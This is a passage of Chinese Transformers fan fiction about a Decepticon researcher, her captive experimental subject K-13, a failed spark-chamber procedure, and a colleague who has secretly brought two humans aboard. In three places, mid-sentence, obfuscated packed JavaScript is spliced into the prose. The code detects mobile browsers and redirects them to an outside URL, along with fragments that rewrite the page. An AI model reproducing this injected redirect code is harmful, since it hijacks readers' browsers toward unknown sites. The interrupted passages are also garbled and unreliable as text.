那里堆放着一批泛着微弱光芒的能量块。它们的光泽暗淡,说明纯度不高,无法提供足够的能量支持。通常情况下,这些劣质能量块不会被优先分配,甚至可能被视为废料。 但它们依然能用。 照明思考着可行性,她的光学镜亮了起来。 她有一个好主意。 12. 高级能量块 “劣质能量块”的“劣质”并不意味着有害。 它有另一个名字,叫低纯度能量块。 一方面,它没有高级能量块那么能够提供能量。 另一方面,也是变形金刚们通常不会选择食用它们的原因,就是它的味道实在不怎么样——寡淡如水,口感黏糊,还有不明杂质混在其中,充当味觉传感器的刺客。 照明也无法把它加工成高级能量块。加工能量块需要特制机器,个人无法进行简单的提炼。 能量供应处倒是有这些设备,但是那里工作的机子也不会这样做。 原因无他。能量是守恒的,现实却不是理想状态下的孤立系统,在转化过程中,能量会产生消耗。费芯去提炼这些低纯度能量块的残余能量,过程中反而会消耗更多的能量。 当然,除了作为废料回收,它们还有个用处,是给暂时无法吸收高级能量块的机子食用,比如幼生体或者正在承载小火种的载体机。 照明显然不属于上面的两类机子。 但她沉思着,看着面前泾渭分明的两堆能量块。 托盘上的一小堆低纯度能量块闪着诡异的光,显得旁边的高级能量块更加美味诱人。 她刚刚问管理员要这些的时候,管理员一脸茫然,但还是满足了高级研究员的请求。 照明还顺便领取了自己的配给。不过照明没有食用这两个高级能量块,而是拿起了一个低纯能量块,注视着其中微弱的脉冲光芒。 她一口咬在立方体粗糙的表面上。 质感糟糕,纯度更差。这不是一种愉快的体验,低纯能量块在味觉传感器上留下了一种可怕的余味,但还是勉强能够给机体提供能量的。她强迫自己吞了下去。 照明撇了撇嘴,将剩余的能量块放在托盘上,准备返回隔离区的实验室。 身侧的影子悄无声息地拉长,一股熟悉的压迫感笼罩过来,泽卡莱亚已经站在了她身侧,似乎有什么话要说。 照明沉浸在思绪之中,对于有机子靠近微微吃了一惊,不过她马上反应过来,没有让自己表现得过于夸张。 泽卡莱亚还没离开?难道她不只是来处理动乱的? 泽卡莱亚通知道:“由于你的长期拖延,黑骑士不得不抽出时间来关注你的进度。照明将于十个周期以内,到黑骑士办公室处报道。” “是的长官。”照明把托盘藏在背后,试图偷偷将能量块堆成的小丘收进子空间。 不过泽卡莱亚还是注意到了,更加不幸的是,她没有选择忽略这点,而是询问了:“你在这儿做什么?这些低纯度能量块和你的实验无关。” 照明试图蒙混过关:“只是……拿一点备用能源?” 泽卡莱亚的目光停留在她的动作上,像是确认她有没有撒谎。幸亏她没有什么类似报应号情报官的读芯的特异功能,几纳秒后,她像是没打算深究,改换了话题:“报道前整理接手实验体K-13后的所有报告,黑骑士希望你现场进行汇报。” 照明低声应了一句,算是回应。 但最怕什么就偏偏来什么,泽卡莱亚并没有如她所愿立刻走,反而直接抓住照明的手,带出了背后的整个托盘。 照明:“……” 照明不敢再藏,尴尬地顺着泽卡莱亚的动作交出了这堆能量块。 泽卡莱亚抬手碰了碰那些能量块,指腹扫过它们暗淡的表面,检验它们是否真的如表面上看起来那样是无害的类似废料。 发现真的是低级能量块而不是什么危险物品后,她又顿了一会,可能是在思考照明是否有异食癖。 几纳秒的沉默后,泽卡莱亚说:“所以,你是打算靠这些东西维持机体运作?” “低级能量块的转化效率比标准能源低百分六十。”她陈述道,“你的主系统默认供能标准应当不低于七十,除非你主动降低了自己的功耗需求。” “好的?噢,是,长官。” 泽卡莱亚难得感受到了困惑的情绪,不过她一直无法彻底理解照明的行动逻辑,再加上这件事情的优先级极低,若不是想要检查她根本不会多问一句。研究员吃什么根本不重要。 于是她转身往外走去。 空气又归于宁静。 照明站在原地,赶紧把托盘放进子空间;她闭了闭光学镜,然后安静迅速地离开了能量供应处。 —————— 回到隔离区的实验室,K-13很乖巧地在隔离仓里等着——考虑到她被限制行动倒也正常。照明莫名有一种她养了一只宠物的感觉。 这种奇异的温馨感觉只持续了一会,随即变为对于十个周期以后的汇报的焦虑。 时间本就不多,照明更加坚定了决心。K-13必须维持最佳测试状态,这样也可以满足上级对实验进度的要求,进一步推进实验。 系统不会额外拨给她能量,她的请求肯定会被埋没在其他更重要的需求之下。 选择,归根结底,只有一个。 她面前的能量块堆看起来几乎在嘲笑她,在实验室的顶灯下微弱地发光。 在一个短暂的时刻,她甚至考虑过去找伊迪斯。 伊迪斯会倾听。或许她甚至会帮忙。 但她已经做得够多了。战争正在关键时期,行政主管大概率也有自己要处理的问题——真正的问题,不是照明微不足道的配给斗争。她最不需要的就是照明给她增添负担。 所以照明只是盯着她的配给和旁边的低纯能量块,好像只要她看的时间够长,它们就会神奇地增加。 她叹了口气,伸手去拿堆里最优质的立方体。那个给K-13。 其余的方块,那些将是给她自己食用的。 K-13在注视着她。 照明刚把托盘放下,她就感觉到了。那种不眨眼、过于专注的目光在跟踪她的动作。 她置之不理。相反,她将高级能量块放进输送的管道,看着它掉进隔离仓。 K-13立刻行动,用锐利的爪子抓起立方体。她轻轻一晃,然后敏捷咬住发光的能源。 照明呼出一口气,扫描了一下是否有异常。一切似乎都很稳定,不过还是要等K-13的反馈。 她转身坐回终端前。 金属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205174|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摩擦的声音让她停了下来。 “奇怪,”K-13说,“我以为高级的应该是标准配备给员工的。” 照明犹豫:“它们是。” “那么,”K-13的声音低沉,缓慢而甜美,“你为什么吃低级货? 照明的手停了下来。 她的通风系统在循环,她一度考虑撒谎。或者装作没发生。但K-13已经看到了,已经注意到了,照明不会浪费精力假装她没看到。 “我没事。” K-13没有立即回答。 她探查的目光让照明感到了压迫感。仿佛她已经看穿了一切,并且乐在其中。 然后,轻柔的声音响起:“你把你的高级能量块让给我了吗?”停顿了一下。“真甜蜜。” 照明翻了一下光学镜:回答:“比起我,你更加需要这个。” K-13发出了一阵低沉的笑声,轻柔地嘶嘶作响。 照明没有理会她,转身回到她的数据上。她还有工作要做。 但她从眼角瞥见K-13靠在仓内,仍然在注视着她。带着笑意,还有其他什么…… 照明皱着眉头,又把另一口味道糟糕的低纯能量块塞进嘴里。 —————— 照明无视了K-13的审视,放下托盘,将高级能量块滑入隔离仓中。 K-13对于新的能量供应有些新奇。她用手抓起它,稍微倾斜后咬了一口,能量在牙齿间闪耀着明亮的光芒。 照明观察了几秒钟,寻找任何波动。当没有异常情况发生时,她点了点头,坐在她的终端前。 K-13凝视着,思考。 然后,慢慢地,她嘴角边露出一丝微笑。 哦。哦。 她甚至都不需要问,照明就已经—— 多么珍贵啊。 她向前倾斜,懒洋洋地将下巴靠在爪子上。“你把你的高级能量块让给我了吗?”她低声说道,“真甜蜜。” 照明深深地置换了一下气体,依旧没有看她。“比起我,你更加需要这个。” K-13几乎都要笑出声来了。 这简直太容易了!她一直在引导照明进入她的节奏、她的步伐、她的控制——但是这个?完全出乎她意料。 这个小研究员居然被这种无聊的骗术骗得团团转,对自己的“健康危机”深信不疑。 K-13半闭着眼睛观察照明。 然而,在这份满足感之下,她的中央处理器边缘却卷起了一些别的情感——一些完全不受欢迎的东西。 她无聊地用爪子敲打着托盘。 照明工作态度消极,道德标准较高,稍微一撩拨就会脸红。这种机子本来应该很好操纵,这一点一直很明显。 但是为什么她对这种结果并不高兴?现在的情况不是她成功操纵的结果,胜利尝起来绝对不是这个味道。 这不是顺从,也不是屈服。 这是—— K-13看着照明手中的那个暗淡的立方体,看着她皱着眉头无精打采地吞咽着。 这是主动的选择。 13. 打开火种仓 时间并非唯心主义的概念,它客观存在着。 但在时间的长河中艰难跋涉的每个个体,对于它的感知却截然不同。 当你遇上极其难熬的事情时,一个周期也能过得像是这个星球绕着它的恒星公转一圈那么久;而当过得特别快乐、抑或是有什么任务要完成,每次刷新一下光学镜就好像到了一个新的周期。 五个周期就这样将身一扭,反而从照明的挡板下溜走了。 照明走进实验室。 从这个周期开始算,距离面见黑骑士所长的期限只剩一半。 踏进实验室的时候她还暗戳戳感慨了一下——一个会说话的K-13一定程度上迫使她改掉了偶尔自言自语的毛病。 严格意义上,这个周期才是她第一次“着手”这个实验。 之前她对K-13进行了扫描,确认了K-13的火种已经足够稳定,可以承受分裂了。 在进行火种分裂、提取供体双方火种的片段之前,必须确保供体的状态稳定,以防分裂过程中出现不可逆的损伤。 照明还是希望自己能多活一个循环是一个循环。至于高层是否在意K-13的火种是否会因此受损,照明不清楚。 ……如果普神愿意满足她的愿望的话,也许,只是也许……最好K-13也能活下来。 真正的体外火种融合实验会在她向黑骑士汇报后进行。 到时,K-13会被转移到具有更加先进的设备的实验室,进行最终的实验。后续双方CNA编码的融合将由伊迪斯亲自操刀,这是黑骑士对这个项目重视程度的明显标志。 而现在,照明要用高精度的能量探测器解析K-13火种内部的能量流动,确定核心能量节点的位置,以此决定火种适合分裂的位置、计算最佳的分裂比例。 最重要的一点是,在这个周期,她将要打开K-13的火种仓。 她将会看到K-13的火种。 K-13悠然自得地打断了照明的思绪:“这个周期准备干什么呢?终于打算继续让我变形了?” 照明点点头,不动声色地调整了一下实验仪器,芯里却松了一口气。 还好。 她初见K-13、和伊迪斯针对这个新实验进行讨论时,就让隔离仓屏蔽了声音,确保外界的谈话不会被K-13听见。 K-13还不知道她研究的最终目的。她也不会让对方知道。无论是出于保密考虑,还是出于照顾自己那一点可怜的自尊心。 “你的上级还没有放弃让我变形这个想法吗?噗,我倒是快放弃了。”K-13随意道,带着点漫不经心的调侃。 她语气变得更轻柔了一些:“你呢?你希望我变形吗?” 照明没有回答这个问题,只是继续检查设备的数据。 K-13像是习惯了她偶尔的沉默,似乎并不失望,继续说道:“你又不是没见过我的战斗力。在上次的战斗中,你已经看到了我能做什么。我不需要变形形态就已经是一个优秀的战士了。” 她的光学镜里闪烁着顽皮的光芒。 “或许你可以代表我提醒她们这一点?谁知道呢?或许我们还能成为同事。” 这话听上去像是一个轻描淡写的玩笑,带着几分对幕后操纵者的嘲讽。 可K-13看着照明,光学镜闪闪发亮,语气又仿佛带了一丝……期待? 照明唇角一弯,笑了笑:“不错的尝试。但我可不会做额外的工作。不会报告上面你会说话,也不会向上面推荐你。” 不过K-13的话还是占用了照明的一部分处理器。 从前在赛博坦,其实也一直存在单态金刚——只有单一模式的赛博坦人。他们并不常见,而且社会上一直存在对他们的偏见和歧视,但他们确实存在。 如果黑骑士最初就把K-13收编,她的确会成为一位可靠的战力。 但这从来不在计划之内,黑骑士已经表明了立场。比起一位聪明机灵的战士,她更想要无脑而强大的野兽。 而且前任研究员的那些尝试,应该已经把K-13给彻底得罪透了。很难想象K-13会芯甘情愿地为这里效力。 一个关联的可疑片段又重新浮现在照明的中央处理器里。 是之前播放视频时,那段小兵误录的视频录像。 这个片段和其他困惑一起,组成了照明最近像毛线团一样越滚越大的烦恼和疑惑。 录像里,威震天大人的意思,似乎是……根除所有克隆巨狰狞? 可如果真是这样,黑骑士为什么还想着要培养一只巨狰狞幼生体? 照明看向K-13,收敛思绪。 她不由自主地放缓了语气:“今天我们来做一次新的尝试。我会暂时关闭你的一些传感器,避免疼痛之类的感知。不会有太大后遗症。” K-13轻轻地置换了一下气体:“就像我之前说过的。你很不一样。” 照明:“嗯?” “他们想要掌控我,好显示他们的力量。他们想要把我彻底拆开,看看里面有什么他们用得上的东西。但你……” “我?” K-13的声音很轻:“你对我很好。现在还关心我会不会疼?你在乎我。” 她下了结论。 K-13很擅长让她无话可说。 照明紧咬着牙关。 她才没有在乎K-13。她在收集数据。研究需要精确,鲁莽的实验会导致错误的结果。她和炸药不同,因为她不愚蠢。 但K-13的确注意到了一些事情。 照明并没有将K-13逼到极限。她没有强制执行转换协议,也没有施行旨在触发变形齿轮的高强度刺激。 与之相反的,她做了一件又一件她本来不应该做的事情。 她肯定显得很软弱,然后K-13注意到了。 照明有点愤愤地反驳:“我做这些只是因为我不是傻瓜。” K-13愉快地笑了起来。“不。你当然不是。但你很好奇。” —————— 照明知道K-13不是那种会害怕痛苦的机子,但是她总是下意识忘记这一点。 这是一个即使面对敌人和爆炸也毫不退缩的机子,也是那个在炸药还是她的研究员时,就差点报废整个安保部的那个机子。 然而,在她面前,K-13却像变成了另一个人。 她从未反抗过。她很配合。 那时她明明能忍受远超负荷的实验带来的痛苦,现在却在自己面前乖乖巧巧,连能量不足的饥饿都要向她埋怨几句,卖弄委屈。 ……为什么? 照明想着,手上不停。 两个医疗机器人充当了她忠实的助手,将已暂时下线的K-13搬到转运床上,然后放到医疗泊位上。 前期的准备工作已经完成。 照明小心翼翼,先关闭了K-13全身大多数的传感器,再拿起工具,拆卸掉K-13的胸甲。 外部胸甲下是一层原生质,原生质下还覆盖着一些错综复杂的管线。 照明手很稳,如最精密的仪器那样移动着。 虽然变形金刚的火种没有那么脆弱,但她还是打开一层能量隔膜,隔绝外部可能的杂质,然后她缓缓地、坚定地,把手向K-13的火种仓伸去。 她打开了K-13的火种仓。 变形金刚可以更换自己光学镜或者护目镜的颜色。但显然,K-13有一颗和她光学镜一样天然而纯粹的金色火种。 金色火种跳动着,如此明亮,给旁边的金属保护层镀上一层暖意。 照明有点着迷地看了片刻,随即才好像大梦初醒般拿起能量探测器。 这是她第一次看到其他机子的火种。 火种原来可以这么美丽,难怪诗人们歌颂火种融合的神圣,难怪社会赋予火种奇妙的伦理意义。 虽然提醒着自己这全是为了实验,她的燃油泵还是违背了脑模块的命令一阵加速。 照明尽可能迅速地探测了关键的节点,然后就如计划一般,确定了到时候火种的分裂位置和比例。 一切都很顺利,直到能量探测器的显示忽然一阵混乱。 不远处的一条外接线路蹿出小小的电火花。 照明低头看,电火花一路烧去,实验室顶灯也发生故障,总控终端的控制面板熄灭了。整个实验室仿佛一下被无形的巨手推进了深渊。 照明的处理器里冒出的第一个想法是:不可能吧,汽车人追到北极了? 她摇摇头按下这个荒谬的想法,等待电力的恢复。 但照理说“断电”之类的低级错误不可能发生,因为这个实验室具备相应的应急设施。 奇怪的声音传来,却不是来自故障的机器。 那种尖利的东西划过金属板的声音响起,透过实验室的墙壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232661|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让人音频接收器都要发麻。 片刻后,设备的线路接连爆发出火花。 有什么东西把线路咬穿了。 照明几乎没时间反应,连接能量探测器和火种检测仪的线路突然闪烁,不自然的嗡鸣声过后,能量探测器爆发出一股强烈的脉冲! 火种仓旁的能量隔膜瞬间破碎! K-13仍然是下线状态,但她的整个机体突然一抖,能量脉冲直接击中了她。 不,不,不—— 照明丢下工具,无视了所有弹出的告诉她先确保实验室安全的程序。她的手掠过K-13的火种仓,用体内的生物计算机快速扫描她的火种。 她已花费数个周期监控K-13,记住了K-13生命体征的每一个细节。 现在K-13的情况明显是不正常的。 她的机体变得僵硬,她的手微微抽搐着蜷曲,仿佛她的主系统正试图重启却不幸失败了。照明试图稳定她的状态,合上K-13的火种仓,然后从外部轻轻试图激活她主系统的线路。 K-13的火种读数慢慢地回归稳定,但她没有醒来。 “拜托……”照明喃喃着,几乎是在恳求。 能量脉冲直接击中火种仓附近,现在K-13因此受到影响。 她仔细地计算了风险,做好了防护。然而人算不如天算,竟然还是出了问题。 “我希望你不会把这个也报废。”炸药曾经的嘲讽突如其来地在她芯里回响。 她不知道具体发生了什么意外,但显然她搞砸了,又一次。 要赶紧报告伊迪斯长官吗?还是再等待一会,希望一切都恢复正常? 照明又尝试了几次唤醒K-13,然而她的火种仿佛漂浮在空中,看着下面徒劳地忙碌的自己。 长久以来第一次,她真的想了想。 所有这一切她曾经做过、正在做的事情。 K-13告诉自己,她是不同的。她告诉自己,她不像其他人。 她不是想出这个实验的人。她不是下令进行实验的人。 只要K-13不痛苦,只要她能让实验过程尽可能顺利,她就不是高层的同谋。只要能推翻压迫者,只要霸天虎能打败敌人取得胜利,那通往和平的道路就可以用暴政铺就。 是这样没错——是吗? 她的目光落到了K-13的火种仓上。即使失去意识,K-13看起来也异常平静,仿佛她只是感到无聊所以选择暂时下线多充一会电。 她本应看起来脆弱,但她没有。 虽然她现在没有清醒的时候那么活泼,但现在她却显得比在隔离仓中更加活生生,照明也前所未有地明确她是一个和自己没有什么区别的赛博坦人,而不应该是什么实验体。 照明的手指紧紧攥住K-13的手臂。 她没有意识到自己握得有多紧,K-13的外装甲几乎在她指尖下变形。 一切恢复所花的时间比应该的要长。 最后,应急灯闪烁一阵重新亮了起来。总控终端重新启动,显示界面卡顿但仍然可以操作。一些能量场在重启时发出电荷的噼啪声。 并且K-13动了动。 她缓缓地从通风口换气,仿佛她只是休息而不是昏迷。她机体不自然的抽搐也逐渐消失了。她的光学镜柔和地上线,变得明亮起来,适应着外界的光线。 片刻,K-13没有说话。 然后,她笑道:“你在摸我吗?” 照明立刻松手,发声器有点磕巴地转移话题:“你觉得怎么样?” “是吗?”K-13懒洋洋道,似乎对她身上发生了什么毫不在意,“没什么感觉。是有什么问题吗?感觉有点暗。线路故障?还是你的黑骑士忘了交电费?” 照明没有详细解释,觉得让K-13知道的越少越好,于是她只是说:“刚刚我试图唤醒你的时候,你本来应该立刻上线的。” K-13轻哼了一声:“我还以为你不在乎呢。” “这个……” “所以你真的在乎我。你看起来急得快流清洗液了。” 照明紧绷着面甲:“我才没有。” K-13以一种研究问题的态度观察了照明一会,微微一笑。 “你看我的眼神就像在看一个易碎的花瓶,小研究员。真的很可爱。但你不必这么内疚。如果你想,你可以补偿我。” 补偿? 14. 求助 照明光学镜的视野略微扩大了:“补偿?你指的是什么?” K-13终于要表明她的目的了吗? “有空的时候,给我念念书怎么样?” 照明一头雾水地看着她,怀疑自己的音频接收器是不是出了毛病。 她刚刚一瞬间已经想到许多令人为难的要求,也想到了很多种拒绝的方式。 但是这是什么补偿啊?K-13还是幼生体吗,要缠着自己的创造者听故事? K-13耐心地解释道:“之前我看到过你在阅读。不愿意分享吗?” “我可没有时间做这种事情。”照明咕哝道。 K-13进一步恳求:“但是这里真的很无聊。你之前还给我放视频,但现在我很久没有获得像样的娱乐了。你会抽出时间吗?” 是啊,想想被困在方寸之地,每天只能见到一个机子的滋味确实不好受。换成照明,她估计也会觉得很无聊? 照明无奈地眨巴了几下光学镜。 这整个场景就像是一个幼生体站在能量糖果店门口,本以为会撒娇闹腾要买下整个糖果店,结果只是轻声问能不能尝一小颗。 她不知道K-13是怎么做到改变她心意的,但不知怎么地,她认输了。基于刚刚实验的愧疚,她没有办法拒绝这点小小的要求。 “那好吧。” K-13露齿而笑,笑容过于灿烂。 照明已经开始后悔了。 —————— 研究员的生活就是这么三点一线,转眼之间又到了应该去领能量配给的时间。 照明正准备去再拿点低纯能量块,然后咀嚼那些难以下咽的东西时,K-13突然开口:“我的机体不再疼痛了。既然现在一切正常,或许换回以前吸收能量液的方式也不坏。” 照明愣了一下。 这个要求有点突然,她忍不住问:“你确定吗?”难道是刚刚的能量脉冲带来了什么新的影响? K-13没什么特别的反应,依旧随意地回答:“完全没问题。从没那么好过。” 照明仔细打量着K-13。她的心里升起一股疑虑。她不想让K-13再次承受痛苦,尤其是在自己还没完全弄清楚痛苦的成因之前。 “我想先再观察一下,万一……” “为什么不直接试试看呢?” 想到逃离那些“美味”的诱惑,照明最后决定:“好吧,我们试试看。不过我仍然会把一半高级能量块给你,防止再次出现意外情况。” 就在这时,内线通讯弹出提示。 照明检查了一下,眼前一亮。 是许久没有音讯的风语发来的信息! 她们上次的聊天记录还停留在数个周期前,照明发过去然而无人应答的询问。 升职不加薪:[恭喜啊。终于如愿以偿出外勤啦?] 升职不加薪:[打扰一下,你有看到风语吗,她好像丢了。] 升职不加薪:[你还好吗?我开始有点担芯你了。] 现在,静寂很久的另一端传来了消息,让照明芯里一松。 看着消息,照明几乎可以想象到同事把消息发送过来时面甲上丰富的表情。 迟早四在办公室:[啊啊啊啊我的流水线啊我终于回来了!再也不羡慕可以出外勤的机子了呜呜呜!] 升职不加薪:[哈哈哈!回来了就好。] 迟早四在办公室:[一起补充能量吗?其实是想求你帮个忙。] 升职不加薪:[?发生什么事了吗?] 内线通讯沉默了一会,似乎对面的机子正在犹豫着。 迟早四在办公室:[嗯……当面和你说怎么样?] 目前实验的进展还算喜人,剩下的事情只剩下整理报告准备汇报了。 于是照明检查了一下自己的内置时钟,回复道:[那一循环后能量供应处见。] —————— 还没走到能量供应处,照明就在第三层的转角处碰到了风语。 深绿和黑色涂装的运输机看起来几乎鬼鬼祟祟。她就像一个被追捕躲藏的逃犯那样,探头探脑地观察着周围,光学镜四处都看就是没有看前方,差点撞上了照明,还把自己吓了一大跳。 “普莱姆斯!你差点把我的火种吓回火种源之井里了!噢!是你啊照明。” 面对风语一惊一乍的反应,照明被勾起了好奇芯,挑眉问道:“你为什么这样鬼鬼祟祟的?到底发生什么事了?还有,你前段时间都去哪儿了?” 风语发出一声戏剧性的叹息。“唉,别提了。指挥官他们已经疯了,派我们在这片邪恶的冰冻荒原里四处扒拉,抢那些碳基科考队的科研设备,冻得要命。我主要负责把东西搬到报应号——刚出陆地桥,还没来得及看上几眼呢,又得回来继续搬。” 照明眯起光学镜:“请告诉我你没有带回来什么奇怪的东西。” 风语心虚地嘿嘿一笑:“你怎么知道?好吧,我确实带回来了一点小小的纪念品……” “你难道这么快就忘记上次被处罚的教训了吗?事实证明新型号的实验无人机可不适合当宠物。” “这次不是无人机。”风语愉快地说,示意照明跟上来。 她带着照明到自己的办公室,关上门,然后部分变形;她的驾驶舱随着一声轻响滑开。 里面,一个碳基生物昏迷不醒,身体软绵绵地靠在座位上。 风语细心地给他解开了安全带,用两个手指把他拎了起来,捧在了自己的手里。 见照明瞪着她,她得意一笑:“酷吧?” 照明简直不知道该从何开始吐槽,她感觉自己的中央处理器已经在短路的边缘了。 “什么。你带回来了什么。” 赛博坦人来到地球,自然少不了接触这里的各种原住民。 那些位于食物链顶端的原住民自称人类,威震天大人不屑于和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240787|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种低等的有机体打交道,更不会尊重或者与之产生合作关系。但据照明所知,汽车人们就和人类们保持着良好的关系,甚至还会帮助人类。 作为硅基生命体,有些变形金刚会觉得接触有机体就好像沾染了什么不该沾染的病毒,有些则会因为好奇而主动了解一些,比如说照明,但是没有她认识的霸天虎真正地接触过人类——抢各种东西时用激光枪击中人类的“接触”不算——直到现在。 这个不幸的有机体显然是一位人类男性。他的头上有着柔软的棕色毛发,身穿破旧但明显类似军装的有机布料。他的面容即使在失去意识的情况下也显得很沉静安详。 照明现在确信自己对于碳基的好奇和喜爱只是叶公好龙。不要随便把奇怪的东西带回来啊! 惊吓之后,照明的语言功能终于重新恢复正常了,她揪住运输机的音频接收器叫道:“什么——为什么——哦,该死,风语!你不能就这样带回有机体!你难道想因为违反安全协议而被离线停机吗?!” 风语把自己的音频接收器从照明的手里拯救出来,摆了摆手试图安抚照明:“放松点啦!没有重要人物知道。就我和几个下属小兵,他们不会告发我的。我尝试过报告,但指挥官显然有更重要的事情要关心,所以……我想我还是留着他们吧。” 照明敏锐地发现了更应该关心的事情。她不敢置信地确认:“他们?” 风语挠了挠面甲:“哦,是的!其实有两个。另一个一直在响。他们是我在不同地方捡到的,我只是不想浪费任何一个,所以只好把那个放进笼子里。” “你不能就这样把人类放进笼子里!他们很脆弱,需要呼吸和普神才知道的其他很多东西。” 风语自知做法不对,不好意思地咕哝道:“我知道的!那并不是一个密封的笼子。要么这样,要么他会整个周期都对我喊叫。” 照明无力地把头埋在手心里,对于同事的不靠谱和爱好麻烦的程度又有了新的认知。 “总之,这就是我需要你的原因。你有特殊能力。你可以把这个家伙弄醒,也许还能看看能不能让另一个家伙停止这么响。” 且不谈她时灵时不灵的特殊能力到底能不能发挥作用,难道这是重点吗?让一个人类停止喧哗? 说真的,风语有没有想过把他们带回来之后要干什么? 有点生气,照明不客气道:“他可能只是想和你沟通,因为他比你更有脑模块。你难道就没有安装过人类语言数据库吗,连英语都没有?” 风语耸了耸肩:“我为什么要这么做?这样会浪费我完美的内存空间。” “你偷了两个人类,却连他们的语言都不懂?!” “那你可以当我们的翻译吗?” 照明呻吟道:“另一个在哪里?” 见照明没有明确拒绝,风语高兴起来:“我把关着他的笼子放在一个空仓库里了,很隐蔽,不会有人发现的。你想先去看看他吗?” 15. 你和我 照明无奈反问:“你有给我别的选择吗?” “我就知道你最好了!” “别这样套近乎,我还在生气呢。” 面对“照明不赞同”的目光,风语耷拉下机翼,把棕发人类虚掩在手心里,在前方领路。 她们前往那个仓库,没有走主要通道,而是悄悄地走那些平时没人会走的紧急撤离通道。 照明干巴巴地提醒道:“如果有人问起,记得统一口径,说我们只是在清点库存。” 风语张望了一下四周:“OK。但我严重怀疑除非有什么东西爆炸,否则根本没人注意我们在做什么。” 她们转过一个弯,进入储藏区的走廊。 风语口中的仓库近在眼前。这里弥漫着铁锈和化学材料的味道,是一个被遗忘的废弃用具的墓地;这也使它成为藏匿一个活生生的人类的完美地点。 但在她们踏入仓库之前,一个声音划破了寂静的空气:“这里有什么东西吸引了你们两个来这里闲逛吗?” 照明立刻紧张起来,风语在她身边僵硬地停住了脚步,把手藏在背后,机翼抽动。 这是她们现在最不想看到的机子之一。 炸药抱着双臂,靠在墙壁上。 他看起来几乎称得上是春风得意,那股喜滋滋的劲儿简直要从他的每一处装甲缝里面冒出来,不过在场的机子没有一个关芯他遇上了什么好事。 照明转头看墙,风语低头看地板,两机都把炸药当成车尾气。 “嗯?”炸药站直了,走近她们。 害怕风语手里的人类被他发现,照明连忙上前一步,不经意般挡在了风语前面。 “我不知道你什么时候成了我的上级。据我所知,我们没必要向你报备。你又来这里干什么?” 炸药端详着她们,光学镜里流露出一丝怀疑。 “你们看起来像在隐瞒什么,”他评价道,“是什么让你们在旧仓库旁边鬼鬼祟祟?” “什么,帮忙做一下库存清理还得接受你的审问吗?” 炸药嗤之以鼻。 “哦,照明,拜托。我们都知道你不是那种勤奋上进的材料。” 风语从照明后面探出头,语气中缺乏自信:“呃,总之,真的没有什么东西。我们只是刚好路过而已。” “那么,我相信你不会介意我自己检查一下?” 在照明和风语反应过来之前,炸药的手臂猛然变形伸长,抓住了风语的手,一把把她向前拉过来,上下打量着她。 照明被推在一旁,背朝墙壁;她的火种波动的频率陡然升高。 然而……什么都没有。 风语的手里空空如也,视线所及之处没有任何值得怀疑的地方。 一阵短暂但可怕的沉默过后。 风语微笑着,动作夸张,向炸药嘲讽地鞠躬致意。“看得够清楚吗,这里什么东西都没有。” 照明的处理器飞快运转。 人类在哪里?风语把他放在哪里了? 炸药转头看照明,照明表面仍旧强装镇定,她耸耸肩,恰如其分地补刀:“所有我看到的只有一个多管闲事的小丑。” 炸药似乎还想寻找什么漏洞。突然,他身后的仓库里传来一阵轻微的碰撞声。 炸药的目光陡然锐利起来,松开风语就要往里走。 “该死,肯定是那些东西又泄漏了。”风语突然提高声音,语速飞快,“我差点忘记和你说了照明,我们是不是得把那些高腐蚀性的实验废料上报一下?” 照明立刻接上:“没错。”她看向炸药,语气不紧不慢:“请进。不要客气。希望你喜欢那种气体慢慢渗进你各种系统的感觉。” 炸药停下了脚步。他的视线在她们之间来回扫视,似乎在评估她们对话的真实性。 照明维持沉着,而风语脸上带着一点恶作剧般的笑意。 炸药盯着她们几纳秒,最终冷哼一声,收回了脚步。 “无聊。”他嗤笑着,转身离开,“这种杂兵才干的活很适合你们。” 风语狠狠地冲着他的背影翻了翻光学镜。 等炸药的身影彻底消失在走廊尽头,照明的火种才安分回到火种仓,她偏头看向风语:“所以……那个人类呢?” 风语得意地笑了:“就挂在你背后啊。” 照明:“!!!” 她伸手向背后小心地一碰,果然摸到了一个软软的东西。人类大概是被风语通过穿在他身上的有机布料,挂在了她背后部分凸起的探照灯支架的某个位置。 照明:“……” 她快速置换了一下气体:“快点拿下来啊啊啊啊!” —————— 他们及时赶到,正好看到那另一个人类正成功完成了一次越狱。 那是一个由合金制成的、制作目的是为关押某些体型较小的实验动物的笼子。它的好几根合金条已经扭曲,还有一根甚至被那个人类掰断了。他正把那根合金条握在手中。 刚刚发出的声响可能就是他强行突破笼子的声音。 风语目瞪口呆:“我还以为这种''人类''没有那么强壮呢?” 